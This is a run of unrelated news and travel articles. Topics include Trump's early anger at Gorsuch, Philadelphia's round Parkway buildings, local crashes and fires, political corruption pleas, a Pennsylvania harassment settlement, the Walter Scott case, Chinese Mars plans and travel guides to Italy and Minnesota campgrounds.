In April, two months after Trump first expressed his ire, the Senate confirmed Gorsuch on a vote of 54 to 45. Trump and his allies promptly began boasting about the appointment as one of the president's major achievements.

The incident that so angered Trump came shortly after a federal judge had issued a nationwide stop to the president's travel ban targeting a list of majority-Muslim countries. At the time, the president disparaged the "so-called judge" on Twitter, writing that the ruling "put our country in such peril."

"If something happens blame him and court system," Trump wrote. "People pouring in. Bad!"

Trump had additionally said that a panel of the U.S. Court of Appeals for the Ninth Circuit that held oral arguments to review the judge's order was "disgraceful" and that the judges cared more about politics than following the law.

Gorsuch, meanwhile, was moving through the confirmation process, doing rounds of courtesy meetings with senators on Capitol Hill  including the one with Blumenthal, which quickly became news after the senator shared their private discussion with reporters.

"I told him how abhorrent Donald Trump's invective and insults are toward the judiciary," Blumenthal told the Post in an interview. "And he said to me that he found them 'disheartening' and 'demoralizing'  his words."

Ron Bonjean, a member of the group guiding Gorsuch though the confirmation process, confirmed the account at the time.

The remarks angered the president, who attacked Blumenthal on Twitter, saying the senator misrepresented Gorsuch's comments. But at the time, at least, he also felt that Gorsuch himself was being disloyal.

In a meeting with House Speaker Paul Ryan (R., Wis.) and Senate Majority Leader Mitch McConnell (R., Ky.), Trump attacked the judge in sharp terms, surprising his fellow Republicans.

"He's probably going to end up being a liberal like the rest of them," Trump told the Republican leaders, according to a person with knowledge of the comments. "You never know with these guys."

A senior White House official who was in the room during the meeting disputed that characterization, saying the president is concerned about the judicial outlook of all lifetime nominees.

But McConnell was so concerned that he made a point of repeatedly telling Trump to stay the course on Gorsuch  and that he would make sure the judge made it through the confirmation process with as few hiccups as possible.

"It's clear [Trump] was very upset with the comment" by Gorsuch, said someone familiar with the incident, speaking anonymously to discuss a sensitive topic.

The person added that he largely faults the White House for failing to adequately prepare Trump for Gorsuch's comments and to explain that Supreme Court nominees asserting their independence from the president who appointed them was a natural part of a successful confirmation process.

In fact, establishing Gorsuch's independence from Trump was so important that it was the subject of the first question he was asked by Senate Judiciary Committee Chairman Charles Grassley (R., Iowa), a fervent Gorsuch supporter. "Tell us whether you'd have any trouble ruling against the president who appointed you," Grassley said at the time.

"That's a softball, Mr. Chairman," Gorsuch replied. "I have no difficulty ruling against or for any party, other than based on what the law and the facts and the particular case require. And I'm heartened by the support I have received from people who recognize that there's no such thing as a Republican judge or a Democratic judge. We just have judges in this country."

Despite Trump's early concerns, Gorsuch's young tenure has given the president little reason to question his appointment to the Supreme Court. If anything, the justice  who has emerged as one of the court's most conservative members  has been criticized for not distancing himself enough from both the president and the Republican Senate leaders who championed his nomination through the highly partisan confirmation process.

Gorsuch traveled to Kentucky with McConnell to lecture at the senator's two alma maters. One of his first public speeches was to a conservative scholarship organization that held their luncheon meeting at the Trump International Hotel in Washington, the subject of a lawsuit alleging that payments to Trump's companies violate the Constitution's emoluments clause.

Gorsuch also was the featured speaker at the annual black-tie gala of the Federalist Society, which had recommended him to Trump for the Supreme Court, telling the cheering crowd that neither originalism or textualism "is going anywhere on my watch."

In April, Trump bragged to the National Rifle Association that Gorsuch "is really something very special," and in June told the Faith and Freedom Coalition that no president had accomplished more in their first 100 days, citing Gorsuch as a key achievement.

"I appointed and confirmed a Supreme Court justice in the mold of the late, great Antonin Scalia," he said, "and now Justice Gorsuch has a seat on the United States Supreme Court."

In his March note to Trump, Gorsuch was similarly effusive.

"The team you have assembled to assist me in the Senate is remarkable and inspiring," he wrote. "I see daily their love of country and our Constitution, and know it is a tribute to you and your leadership for policy is always about personnel."

He concluded, "Congratulations again on such a great start."
The Embassy Suites at 18th and the Parkway is one of three cylindrical structures built on triangular lots along the diagonal boulevard. Read more

It's been 100 years since Philadelphia sliced the grand diagonal of the Benjamin Franklin Parkway through the city's regimented, right-angled grid. The new boulevard helped bring the lush natural landscape of Fairmount Park into the heart of the city, but it also left the city with a string of triangular blocks that were tricky to develop.

You might expect architects to respond to the challenge by designing triangular buildings on triangular blocks  variations of New York's three-sided Flatiron building. Instead, they chose a different strategy. Between 16th and 18th Streets, you'll find three circular, or nearly circular, structures, all products of mid-century playfulness : Embassy Suites, Windsor Suites, and the LOVE Park Visitor Center.

There are several possible motivations for putting a circle in a triangle. Because the Parkway was inspired by City Beautiful planning principles and beaux-arts design, a round building can be seen as the architectural equivalent of a classical column. Like lighthouses at the tip of a peninsula, the cylindrical shape helps focus the eye toward an end point. Round buildings serve as an exclamation mark, punctuating the corner and drawing people from multiple directions. For developers interested in leasing space, the Parkway buildings also promised wide-angle views of the city.

The Visitor Center at 16th and JFK Boulevard was the first of the three cylindrical structures on the Parkway. Designed by architect Roy Larson and engineer Nicholas Gianopulas, it was built when the Parkway still bisected the block that is now home to LOVE Park, breaking it into two triangular parcels.

By the time the Visitor Center opened in 1960, the rage for circular structures was in full swing. The curvy aesthetic, which gave us Bertrand Goldberg's Marina City in Chicago and numerous small banks, was part of the growing revolt against the straight lines and strict functionalism demanded by orthodox modernists, says William Whitaker, curator of Penn's Architectural Archives. Within a year of the Visitor Center's opening, two more round buildings had been commissioned for the Parkway. Both were completed by 1965.

Technically speaking, neither the Windsor nor the Embassy Suites is a true circle. The 25-story Windsor, designed by Aaron Colish, a student of Paul Cret, uses its broad, curving facade to unite three streets, 17th, Cherry, and the Parkway, but includes a rectangular wing in the back. Having once spent two months as a resident of the Windsor, I can confirm that the apartments are shaped like a wedge of pie and culminate in a terrace.

Embassy Suites, designed by Oskar Stonorov for the Korman Co., started out as the Plaza Apartments. Though the 27-story building at the corner of 18th Street gives the impression of being a sleek cylinder, it is assembled from 12 flat planes. Pairs of recessed balconies alternate with white marble panels. Using flat sections to create the impression of roundness was probably easier and cheaper than fashioning a real curved surface. But like its curvy neighbors, it clearly makes its point on the city skyline.
Two people were killed in a one-vehicle crash in Burlington County on Monday. Read more

Two people were killed when a car hit a pole and burst into flames Monday afternoon in Burlington County, authorities said.

The accident occurred around noon at Flyatt and Caranza Roads in Shamong Township, the New Jersey State Police reported. A nearby school was evacuated as a precaution because of the vehicle fire.

The two victims, who were not identified, were pronounced dead at the scene.

The state police offered no further details.
Sweet Lucys BBQ on State Street in Northeast Philadelphia. A blaze broke out at the restaurants warehouse and offices. Read more

A fire that broke out at the popular Northeast Philadelphia staple Sweet Lucy's Smokehouse didn't stop customers from chowing down on barbecue for too long.

Despite destroyed offices and initial fears of wider damage, the restaurant said Tuesday afternoon it had been cleared to reopen.

The Philadelphia Fire Department responded to the one-alarm fire at the restaurant at 7500 State Rd. in Holmesburg shortly after 6 p.m. Monday. The blaze was placed under control about 20 minutes later, department spokesman Capt. William Dixon said.

Alison Korabik, the restaurant's catering manager, said the fire broke out in the building's warehouse, which houses its catering and accounting offices. The cause is unknown, she said.

Korabik said the offices "are destroyed," mostly from water damage. Sweet Lucy's itself, however, was reopening Tuesday at 1 p.m., according to an update the restaurant posted on Facebook.

Earlier, Sweet Lucy's quickly took to social media after alarmed patrons began spreading news of the fire to share its own message: "We are not burnt down."

Sweet Lucy's was only closed while it awaited clearance from the city's health department, according to the restaurant.

The fire broke out in the middle of the dinner rush, but Korabik said there weren't too many customers inside at the time and everyone was evacuated safely. Sweet Lucy's is known for its Monday night all-you-can-eat buffet.

"Luckily, it was still earlier in the night," she said. "Nobody was hurt."
Donald D.A. Jones pleaded guilty Monday to federal conspiracy charges in Springfield, Mo. He is pictured here leaving federal court in Philadelphia in October after his arraignment in a separate case involving $90,000 U.S. Rep. Bob Bradys campaign made to pay a primary challenger to drop out of a 2012 race. Read more

Days after admitting that he lied about payments he made on behalf of U.S. Rep. Bob Brady's 2012 campaign, one of the congressman's top political strategists has confessed to separate federal crimes involving $1 million he was illegally paid to lobby on behalf of a Missouri charity.

Donald "D.A." Jones, 62, of Willingboro, pleaded guilty Monday in Springfield, Mo., to conspiring to steal from an organization that receives federal funds.

As in the Pennsylvania-based case involving Brady, federal prosecutors in Missouri said Jones hid his misdeeds through sham consulting agreements and allowed his Philadelphia-based political consulting firm  D.A. Jones & Associates  to be used as a pass-through for illicitly spent money.

Between April 2011 and January of this year, Jones admitted, he used that money to advance the interests of Preferred Family Healthcare, a Missouri-based mental health services and substance abuse nonprofit funded largely through government grants and Medicaid reimbursements. He hoped to influence those with sway over matters of interest to the nonprofit through setting up meetings with and directing contributions to key lawmakers in Washington.

The lobbying work Jones performed was not itself illegal, prosecutors said, but the way he was paid broke federal rules barring charities from using government funds to make political contributions or lobby for federal grants or contracts.

To hide the work Jones was doing for Preferred Family Healthcare, executives there drew up "consulting" agreements with Jones' consulting firm, according to the indictment in Jones' case. He admitted Monday that he knew those contracts to be shams meant to cover the true work he was doing for the charity.

Jones' lawyer, Alan J. Tauber, declined Tuesday to comment on his client's guilty plea but referred to an earlier statement in which Jones apologized for his misdeeds.

Jones, known in Philadelphia as a quietly effective expert in get-out-the vote efforts for local political campaigns, has worked on behalf of clients across the country as well as for local candidates, including former City Controller Jonathan Saidel and Sheriff Jewell Williams in recent years.

His plea in the Missouri case came about a week after Jones admitted his role in the unrelated federal probe involving Brady, one of his oldest clients.

It remains uncertain whether the congressman  chairman of the city's Democratic Party  will ultimately face charges in the matter.

Jones, during a Dec. 8 court hearing in Philadelphia, admitted that he helped illegally hide a $90,000 payment Brady's campaign made to convince a 2012 Democratic primary challenger to drop his campaign.

Two others  including Brady's 2012 primary rival, former Municipal Court Judge Jimmie Moore  have also pleaded guilty and Ken Smukler, another longtime Brady strategist, has been charged in the case.

The deals Jones struck with government lawyers in Philadelphia and Missouri both reference his continued cooperation and possible testimony with authorities in both states. They also put off his sentencing  at which he could face up to five years in prison  until both investigations end.

Jones became at least the second person to plead guilty in the Missouri probe of Preferred Family Health, which had also operated under the name Alternative Opportunities during the period under investigation. In June, an accountant who had done work for the nonprofit admitted to stealing almost $2 million from the charity.

The plea documents in the case suggest Jones' admission comes at the early stages of what appears to be a wide-ranging probe of Preferred Family Healthcare and its leadership. The court filings reference five unnamed co-conspirators, all of whom were either executives or employees of the charity in Missouri or Arkansas.

Each, prosecutors say, was involved in deploying Jones to lobby for the charity on issues ranging from overtime pay regulations, efforts to secure FEMA money after a tornado in Joplin, Mo., and grants for future programs.

Jones admitted Monday that he kicked back nearly 30 percent of the $973,807 he was paid by the nonprofit between 2011 and 2017 to two of his co-conspirators  one of whom was described in court papers as a lobbyist and former Arkansas state legislator.

Jones also said he took charity funds to lobby on behalf of a for-profit company owned by two of the unnamed Preferred Family Healthcare executives that repackaged and sold thermostats imported from China.
Cars from an Amtrak train that derailed lie spilled onto Interstate 5, Monday, Dec. 18, 2017, in DuPont, Wash. The Amtrak train making the first-ever run along a faster new route hurtled off the overpass Monday near Tacoma and spilled some of its cars onto the highway below, killing several people, authorities said. (Bettina Hansen/The Seattle Times via AP) Read more

Good morning, pals. There's a robot Trump in Disney World, a tax bill about to pass Congress and an infrastructure bill on the horizon that the president is highlighting in the wake of a devastating Amtrak crash.

This newsletter covers President Trump and how his policies affect greater Philadelphia. You can sign up here to get it in your inbox, for free, every week. You can send suggestions/complaints/questions my way by email or on Twitter, and if you like this newsletter, please forward it to a friend!

 Aubrey Whelan

Whats at stake

An Amtrak train crashed in Washington state yesterday, killing at least three people. The images from the site are horrific, the interviews with survivors even more so, and, as it's early days, it's still unclear what exactly caused the crash, though investigators have determined the train was speeding.

President Trump, on Twitter, is using the opportunity to plug his $1 trillion infrastructure bill, which is supposed to be rolled out next month after some abortive first attempts this year. (Remember Infrastructure Week? You probably don't, because that's the week James Comey testified in Congress.)

The local angle

Two years ago, a speeding Amtrak train careened off a section of tracks in Philly's Port Richmond neighborhood, killing eight and injuring hundreds. Last year, a crash in Chester killed two railroad workers and injured 39 passengers. The crashes have sparked an ongoing conversation about rail safety in the region, and led to some disturbing conclusions from experts.

The 2015 derailment, investigators concluded, could have been prevented if a speed control system had been installed on the Port Richmond tracks. That system has already been installed on the line where the Washington train crashed  but it won't be turned on until next year.

Whats ahead

That brings us to whether Trump's infrastructure plan applies at all here. The Washington crash happened on a brand-new stretch of tracks, paid for by stimulus funds from 2009. And Trump, judging by his policy priorities so far, has shown little commitment with railways in the first place.

His proposed budget, released in March, advocated for cutting federal funds to Amtrak's long-distance lines (which, in fairness, would affect neither Philly Northeast Corridor nor the Washington line), and would also bar the Federal Transit Administration from funding new transit projects. He's rolled back a proposed regulation that would have required railroad companies to test employees for sleep apnea, a factor in the New Jersey Transit crash in Hoboken last year. In July, local transportation officials said a plan for rail improvements in the region is still waiting on word from the feds about whether they'd be able to fund it.

And the infrastructure plan itself is still mostly talking points, said Erick Guerra, a city planning professor at Penn: "The substance of the plan is rhetoric, and then slashing a few programs and agencies," he said. "I haven't seen very much evidence that he thinks very thoughtfully about these issues, other than saying, 'We have the worst infrastructure and we need the best infrastructure.'" And, because it's 2017 and literally nothing is a bipartisan issue anymore, it's unclear whether this plan even gets through Congress.

What theyre saying

"From the beginning, America has been defined by its people."  The opening line from the recently-unveiled Donald Trump animatronic in Disney World's Hall of Presidents, dashing my hopes for a robot that just yelled Trump tweets while the Lincoln robot tried to deliver the Gettysburg Address. Go bland or go home, I guess.

"I was an easy pickup. Very easy pickup. And a couple, two, three other Democrats would have been easy pickups, if they had just made an effort."  Democratic Sen. Joe Manchin, of West Virginia, saying that if Republicans had tried harder to reach across the aisle, they might have gotten a few Democrats on board with their deeply unpopular tax bill.

"Let's get on with the real issues that are facing people of this country right now, and I don't think that the President ought to resign at this point."  newly-elected Alabama Sen. Doug Jones, who defeated Republican Roy Moore in a nail-biter last week, already breaking with some of his Democratic colleagues in the Senate who have called for Trump to resign over the allegations of sexual harassment that surfaced during the campaign.

In other news

What Im reading

A non-political palate cleanser

My favorite Inquirer tradition is here: our staff's annual list of book recommendations. My colleagues have impeccable taste and few of my faves are on here (but if you read one thing this year, let it be Lincoln in the Bardo).
Pennsylvania State Rep. Thomas Caltagirone speaking at a press conference in Harrisburg regarding Trump Administrations decision to end Deferred Action for Childhood Arrivals. AP FILE Read more

HARRISBURG  Pennsylvania House Democrats spent nearly a quarter-million dollars in taxpayer money to secretly settle a sexual harassment complaint against a 40-year lawmaker, according to a document obtained by the Inquirer and Daily News and the Pittsburgh Post-Gazette.

A payment of $248,000 went to resolve a complaint in 2015 against State Rep. Thomas Caltagirone, a Democratic lawmaker from Berks County, by a longtime legislative staffer. The settlement included a nondisclosure agreement, according to a source familiar with the matter.

The year after the settlement, Caltagirone, a legislator since 1977, won reelection to his 21st two-year term; he was unopposed in the primary and the general election.

It was not clear whether Caltagirone, who faced a separate and widely publicized sexual harassment complaint in the mid-1990s, was disciplined or reprimanded after the 2015 payout. House Democrats would not discuss details of the case, and Caltagirone did not respond to requests for comment.

Hours after the Inquirer and Daily News reported the settlement on Tuesday, Gov. Wolf, a fellow Democrat, called on Caltagirone to resign, saying: "Verbal and physical harassment is flat-out wrong, whether towards an employee or any other person."

The payout in Caltagirone's case was in addition to $30,000 that House Democrats made in 2013 to end a sexual harassment lawsuit against former State Rep. Jewell Williams, now Philadelphia's sheriff.

House Minority Leader Frank Dermody (D., Allegheny) this week declined to be interviewed about the settlement payouts, which were itemized in a document prepared by the state's Bureau of Risk and Insurance Management, and obtained by the newspapers. The bureau manages the state's self-insurance programs, and investigates and pays tort claims and lawsuits against the state and its employees, including harassment suits.

In a statement Tuesday, Dermody said he could not discuss a case where the parties involved agreed to keep the terms confidential: "I don't like it, and I wish I could disclose more of the specifics, but I have to follow the law."

The document obtained by the newspapers is the first indication that Pennsylvania's legislature has dipped into public funds multiple times to settle such claims  a practice that has received renewed scrutiny in recent weeks as a wave of sexual harassment cases roils statehouses across the country.

A group of female lawmakers is pushing a package of bills to strengthen Pennsylvania law on sexual harassment, including one by Rep. Leanne Krueger-Braneky (D., Delaware) that would ban nondisclosure agreements in legislative sexual harassment cases and prohibit lawmakers from using taxpayer money to settle such claims.

In all, the document shows that House Democrats paid $600,000 since 2007 to settle four complaints against legislators: the two sexual harassment cases, as well as two cases involving claims by legislative staffers that they were improperly fired.

Late Tuesday, however, House Democrats said they had spent roughly $514,000 to settle the claims. They did not give specifics on any of the complaints, break down how much each cost, or explain the discrepancy between the figures.

The document does not show payouts by House Republicans. Their spokesman, Steve Miskin, said that "as far as we know, we have not made any type of payout or payment" for sexual harassment claims.

Caltagirone, 75, for many years chairman of the House Judiciary Committee, did not respond to repeated requests for comment. Messages were left at his district office and his home, and on his cellphone. He also did not respond to an email.

The woman paid as a result of her claim against Caltagirone declined to comment, referring questions to the lawyer who handled her case. The lawyer, Patricia Pierce of Greenblatt Pierce Funt & Flores in Philadelphia, did not return calls to her office.

The Inquirer and Daily News and the Post-Gazette are withholding the woman's name, as her case involved allegations of verbal and physical harassment over several years. State records show that she worked for Caltagirone in his district office in Reading for a decade, starting in 2004, and earned about $63,000 a year when she left.

House Democrats authorized paying the woman $165,500 in February 2015, and her lawyer $82,500 that same month. The report does not give details about her case.

Mike Herzing, a spokesman for Dermody, would not say who authorized the payout.

But another document related to the Caltagirone case shows that Nora Winkelman, the top lawyer for House Democrats, wrote that the settlement was "in the best interests" of the institution because the woman's threat to file an EEOC complaint and civil suit was "real and imminent," and defending the claim over a long period would be costly.

Winkelman also wrote that the woman had initially asked for $1.5 million.

The disclosure on Caltagirone cames two days after the Inquirer and Daily News reported that State Sen. Daylin Leach, a Montgomery County Democrat running for Congress, had crossed the line with sexual talk and inappropriate touching, according to interviews with former campaign and legislative staffers.

Leach, 56, denied that he inappropriately touched women. Several prominent Democrats, including Wolf, have since called for Leach to resign. On Monday, he announced that he would be "taking a step back" from his congressional campaign.

A 'Need to Know'

Each caucus in the legislature has its own sexual harassment policy. The policy for House Democrats, updated earlier this year, prohibits "unwelcome sexual advances, requests for sexual favors, and other verbal or physical conduct of a sexual nature" when it is made a condition of employment, is used as the basis for employment decisions, or creates an "intimidating, hostile or offensive working environment."

The same policy states that if an employee makes a complaint, "a preliminary investigation will be conducted to determine the merits of the case and to seek a prompt resolution." If a quick resolution can't be reached, a formal investigation follows, including interviews and a review of personnel files and other relevant documents.

"Confidentiality is essential to the fair investigation and resolution of complaints under this policy. Only those individuals who have a 'need to know' about the investigation and resolution of the complaint will be entitled to the information," according to the policy.

It does not provide any insight into how decisions are made about settlement payments or who authorizes them.

In Caltagirone's case, it marked the second time he faced accusations of sexually harassing a subordinate.

Allegations, investigations and a truce

In 1994, a grand jury investigated claims by a contract worker in his office that the legislator demanded she have sex with him if she wanted to keep her job. The woman  the sister-in-law of Caltagirone's ex-wife  also alleged that during an out-of-town trip with Caltagirone, she walked into a room and found him naked and that, when she fled that house, he chased her and at gunpoint ordered her into his car.

Caltagirone denied any wrongdoing. A grand jury concluded there was "more than enough evidence" to prosecute but then-acting Attorney General Walter Cohen announced that charges would not be filed in the case. Attorney General Tom Corbett later also declined to file charges, saying the woman, Marci Lynn Santoro, was credible but there was not enough evidence to win a conviction.

About a decade later, Santoro returned to work for Caltagirone. A source close to the legislator said at the time that the two had forgiven each other. She has since left state employment.
ABC News(CHARLESTON, S.C.) -- The conviction earlier this month of ex-police officer Michael Slager, who was sentenced to a 20 year in prison for the murder of Walter Scott, marks a rare instance where a police officer has been found guilty of murder for the shooting of an unarmed civilian.



Despite the conviction in his case, however, some legal experts and family members of victims feel this will have little effect on how similar cases of shootings by police will be tried in the future.



"If we take the Walter Scott case and use this as the benchmark, we would rarely win," Gloria J. Browne-Marshall, an Associate Professor of Constitutional Law at John Jay College of Criminal Justice, told ABC News.



Slagers conviction is among very few instances in which a police officer has been prosecuted for the shooting of an unarmed black man. He was originally facing life in prison after federal charges were brought against him, but he accepted a plea deal.



In May, Slager pleaded guilty to federal civil rights violations. His 2016 state murder trial ended in a mistrial.



The sister of another man shot by police in 2016, Terence Crutcher, said she had mixed feelings after hearing about Slager's sentence. Tiffany Crutcher said she felt both hope and frustration.



I dont want to take away from the fact that we got some small aspect of justice. It gives me a glimmer of hope to show the powers that be that you can be held accountable, she said.



But she believes that the cases involving shootings by police are still going to be difficult to win.



"The burden of proof is too high and its subjective," Crutcher said.



The differences in what was recorded on video in her brother's case versus in Walter Scott's likely contributed to the different outcomes, experts say.



Terence Crutcher was killed by police in Tulsa, Oklahoma, after he left his car abandoned on the highway.



In the video of the shooting released from the police cruiser's dashcam, Crutcher is seen walking away from police officers towards his car with both of his hands up. Once he arrived at his vehicle, he appeared to be reaching inside when Officer Betty Shelby shot him. He was unarmed. But, the video did not capture the moment Crutcher was shot.



Shelby later testified that Crutcher did not respond to commands and reached into the driver-side window while approaching his car. Believing Crutcher was reaching for a weapon, Shelby said she fired her gun. A toxicology report later revealed that Crutcher was on two hallucinogenic drugs, including PCP, during the incident.



The death of Walter Scott was caught on camera, when Scott was pulled over by Officer Slager in North Charleston, South Carolina, in April 2015.



After Slager spoke with Scott and returned to his vehicle, Scott ran out of his car and Slager pursued him on foot.



Police said the two had a physical altercation in a parking lot when Scott fled again. Slager was eventually seen on cell video firing eight shots at Scotts back.



Although Slager was convicted of murder for killing Walter Scott, Shelby's case was different.



Last May, Shelby was found not guilty of first-degree manslaughter in the Crutcher incident and her record was expunged to say that she was never arrested for the shooting. The family has been trying to appeal to the federal court in Oklahoma.



Browne-Marshall said one of the differences between the two cases is that the video of Scott was captured from beginning to end, as opposed to the Crutcher video that only caught the end of the incident.



"We shouldnt have to have the entire video for this to be a crime," she said. "We shouldnt have to have this as a standard or proof."



William Johnson, the Executive Director of The National Association of Police Organizations (NAPO), a coalition that represents police unions and associations across the country, believes the Scott incident was an aberration because times have already changed.



"I think the turning point was really the Michael Brown case," Johnson said. "It changed the law going forward. It chilled aggressive police work."



The Bureau of Justice estimates that about 1,200 people were killed by police between June 2015 and March 2016, using data from both official government tracking and media reports. It isnt clear how many of those killed may have been unarmed civilians.



Police departments across the country have adopted new methods to try to prevent these incidents, using body cameras for police officers, working to improve community and police relations and implementing new training programs.



Johnson believes the Scott case has highlighted an area for improvement for both police officers and civilians.



"Police cannot look at people as a member of a group or race," Johnson said. "And people on the street need to see police as people. Its on both sides that we need to be held accountable."



Since the murder of her brother, Tiffany Crutcher said she has been involved in the fight against shootings of unarmed citizens by police. Despite her reservations on the Slager sentencing, she said she hasn't lost hope - a feeling she shares with Walter Scotts brother.



"I had the chance to speak with Anthony Scott and I let him know that we are happy that they are receiving some type of peace," Tiffany said. "But we also agreed that we still have work to do."

Copyright  2017, ABC Radio. All rights reserved.
The Netherlands is leading Europe in the reduction of antibiotic use on farms. Thats according to new figures from the EU, which show a 60% drop in antibiotic use since 2009 in the country.

Currently, average use across Europe is 1.5 times that of The Netherlands, which since 2011 has banned medicinal feed. Spain has the highest use across Europe, with 4.5 times the volume of antibiotics used per pig than in the Netherlands.

Some farmers are using alternative products such as HyCare from MS Schippers, which focusses on the cleaning and disinfection of buildings and drinker systems in order to prevent infection taking hold and antibiotics being needed.

One of the most important principles behind HyCare is a change in our way of thinking: healthcare needs to focus on preventively managing animal health instead of curing them after the infections have already appeared, said Mart Smolders, MS Schippers division manager for pigs.

Completely banning antibiotics is not currently in sight, but we feed our own children in a clean environment with clean drinking water and if we apply this sort of basic hygiene to our animals, then you will start seeing drastic differences.

The system does require a change to the standard work methodfor instance, you have to clean more intensively after each round. Currently, the company is giving interested farmers tours in their stalls.

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China is making steady progress on a proposed mission to bring a piece of Mars back to Earth in the late 2020s.

The project would be a massive undertaking. But the plans appear serious, and if successful, the mission could result in major scientific discoveries and tremendous prestigeespecially if NASA's plans for a similar mission don't get off the ground.

China's space capabilities and ambitions have been growing rapidly in recent years. The country successfully launched two small space stations into Earth orbit and visited them with astronauts, while making rapid advances in robotically exploring the Moon.

Now, China is looking to explore the wider solar system, starting with MarsHuoxing, or literally 'fire star,' in Chinese.

The Plan

The path to a Martian sample return begins in 2020, when China plans to launch an all-in-one orbiter, lander and rover to Mars, using its Long March 5 rocket. The mission goals are vast, and include investigating soil characteristics, searching for water ice, assessing habitability, studying the atmosphere and tracking the weather.

The orbiter will carry a high-resolution camera comparable to that of HiRISE on NASA's Mars Reconnaissance Orbiter, capable of imaging the surface at 50 centimeters per pixel in relatively wide swaths. The lander will tentatively target one of two potential areas, the first being Chryse Planitia near the Viking 1 and Pathfinder landing sites, and the other including Isidis Basin and a section of Utopia Basin up to 30 degrees north.

The orbiter imagery would be used to examine potential landing sites for a future sample return mission. That mission, which would happen sometime in the late 2020s, hasn't been formally approved, but the Chinese space community appears increasingly serious about making it happen. High-ranking space officials and the country's main space contractor, CASC, are openly discussing the mission in public presentations. More significantly, the government's 2016 space white paper released late last year says China will "conduct further studies and key technological research" on bringing back samples from the Red Planet.
Italy is one of the most visited countries in all of Europe, known for its fascinating cities, ancient sights, cultural treasures, and beautiful scenery. There are so many choices for travelers it's hard to know where to begin. Many people start with the major cities of Rome, Venice, Florence, Milan, and Naples. Others, seeking something a little different, head for Sicily, the Amalfi Coast, or the Cinque Terra to hike between the hillside villages that line the coast. Italy's landscape offers a diverse mix of mountains, islands, beaches, and rolling countryside, which also provide a plenitude of recreational opportunities.

Rome, where tourists often begin their trip, is one of the great cities of the world. It is home to such famous attractions as the Colosseum, the Pantheon, and the ancient Roman Forum. But beyond these well known sights, it also holds great collections of art, both in the museums and decorating the wall of churches, along with incredible architecture, which can be seen in its churches, palaces, and monuments. The Trevi Fountain, Spanish Steps, Palatine Hill, and the National Monument to Victor Emmanuel II are just some of the highlights.

Venice offers a completely different experience. Perhaps one of the world's most romantic destinations, the city is more about atmosphere than individual attractions. Strolling along the Grand Canal, looking out from one of the many bridges, or floating along on a gondola ride, it is easy to appreciate Venice's charm. Nonetheless, there are some must see attractions, which include the Doges Palace, Basilica of St Mark, the Colleoni Monument, the Campanile, and numerous other palaces and churches.

One of the most popular regions in Italy is Tuscany. At the heart of this area is Florence, another of Italy's not to be missed cities, with some of the country's most beautiful architecture and important cultural treasures. The city center, with the famous Ponte Vecchio, numerous palaces, and other fine buildings, is a UNESCO World Heritage Site. Other favorite destinations in Tuscany include the towns and cities of Siena, Pisa, San Gimignano, Cortona, and Lucca.

Travelers looking to fully explore Italy may also want to venture out to the islands of Sicily and Sardinia, both of which attract large numbers of visitors during the summer months. Near the city of Naples is the incredible archeological site of Pompeii. In the north of the country, those with an eye for fashion will not want to miss a stop in Milan.
12 Top-Rated Campgrounds in Minnesota

Written by Brad Lane

Jun 8, 2020

With the many state parks, national forests, and bountiful wilderness areas in Minnesota, there is no shortage of great spots to pitch a tent. Campsites in Minnesota are interwoven with the lakes and waterways of the Boundary Waters Canoe Area Wilderness and are found throughout the swaying prairie grass in the southern portion of the state.

While every place to camp in Minnesota is different, all campgrounds in Minnesota offer immediate access to outdoor adventure.

Whether you are looking for a place to park an RV for a while, or you want to be able to sleep out of sight of your vehicle, a great campground in Minnesota is not far away.

The summer is a great time to camp in Minnesota, though the autumn is equally beautiful and sees far fewer mosquitos. No matter when you want to go, discover the best places to visit with our list of the top campgrounds in Minnesota.

1. Woodenfrog Campground, Kabetogama State Forest

Woodenfrog Campground, Kabetogama State Forest | daveynin / photo modified

Minnesota is home to a remarkable 58 different state forests. Many state forests offer campgrounds, like Woodenfrog, that are more affordable than what you'll find in adjacent state parks and often provide less crowded conditions.

All state forest campgrounds in Minnesota are considered primitive, containing established camping spots designated by picnic tables and fire rings, with pit toilets and freshwater spigots throughout.

While all state forest campgrounds can save you a little money on your Minnesota vacation, in terms of scenery and access to nearby attractions, they all deliver.

In the far northern part of the state, Woodenfrog Campground within Kabetogama State Forest is a great example of a state forest campground. Containing 61 non-electrical campsites, it not only offers easy access to adventure in the surrounding Kabetogama State Forest, but it sits at the front door of Voyageurs National Park and offers a launching point into a whole new world.

Serving as one of the few drive-in campgrounds with access to the water-fed Voyageurs National Park, this primitive campground is available on a first-come, first-served basis. The sites are known to fill up quickly.

A longer adventure in Voyageurs is easily accomplished with the many paddle-in campsites available throughout the national park. Even if your itinerary doesn't include an overnight visit in Voyageurs, the surrounding Northwoods and Kabetogama State Forest offer plenty of reasons to stay the night. The campground is on the shores of Kabetogama Lake and provides access to the water with a boat ramp and swimming beach. Vault toilets are available at the campground. Address: Co Rd. 122, Ray, Minnesota Official site: http://dnr.state.mn.us/state_forests/facilities/cmp00032/index.html

2. Split Rock State Park Cart-In Campgrounds

View of the Split Rock Lighthouse from cart-in site # 4 | Photo Copyright: Brad Lane

Stretching from Duluth to the US/Canadian border, the North Shore of Lake Superior provides endless adventure. Activities range from cross-country hiking to sailing in the frigid waters of Lake Superior.

On top of the many things to do, great campsites stretch all along this recreation destination. Nearly halfway up the shore, Split Rock Lighthouse State Park offers a great example of these North Shore overnight accommodations. With just a little bit of effort, campers at this lakeside destination are afforded some of the best views found in the state.

Split Rock Lighthouse features 20 cart-in campsites that are approximately 2,000 feet from the parking lot. All campsites have a picnic table and fire ring and include the cart to haul in your gear. Flush toilets, showers, and clean water are available to all campers at Split Rock, but the real draw for the cart-in campgrounds is the immediate access to the stunning surroundings.

A strong recommendation when staying the night at Split Rock Lighthouse State Park is to reserve one of the campsites on the lakeside portion of the campground loop. These all offer personal views of the rugged shoreline and Split Rock Lighthouse in the distance. Campsites can be reserved one year in advance, and many are during the popular summer season. Address: 3755 Split Rock Lighthouse Road, Two Harbors, Minnesota Official site: http://www.dnr.state.mn.us/state_parks/split_rock_lighthouse/index.html

3. Jay Cooke State Park

Jay Cooke State Park in autumn

Home to some of the best hiking trails in Minnesota, Jay Cooke State Park is also a popular destination for camping. The state park is adjacent to the St. Louis River, near the western tip of Lake Superior, and features over 80 sites ranging from walk-in tent sites to electric spots to park an RV.

The campground also features camper cabins and restroom facilities with hot showers.

The state park has over 50 miles of trails spread throughout its 8,125 acres. The 300-mile Superior Hiking Trail originates at the Minnesota/Wisconsin border near Jay Cooke State Park.

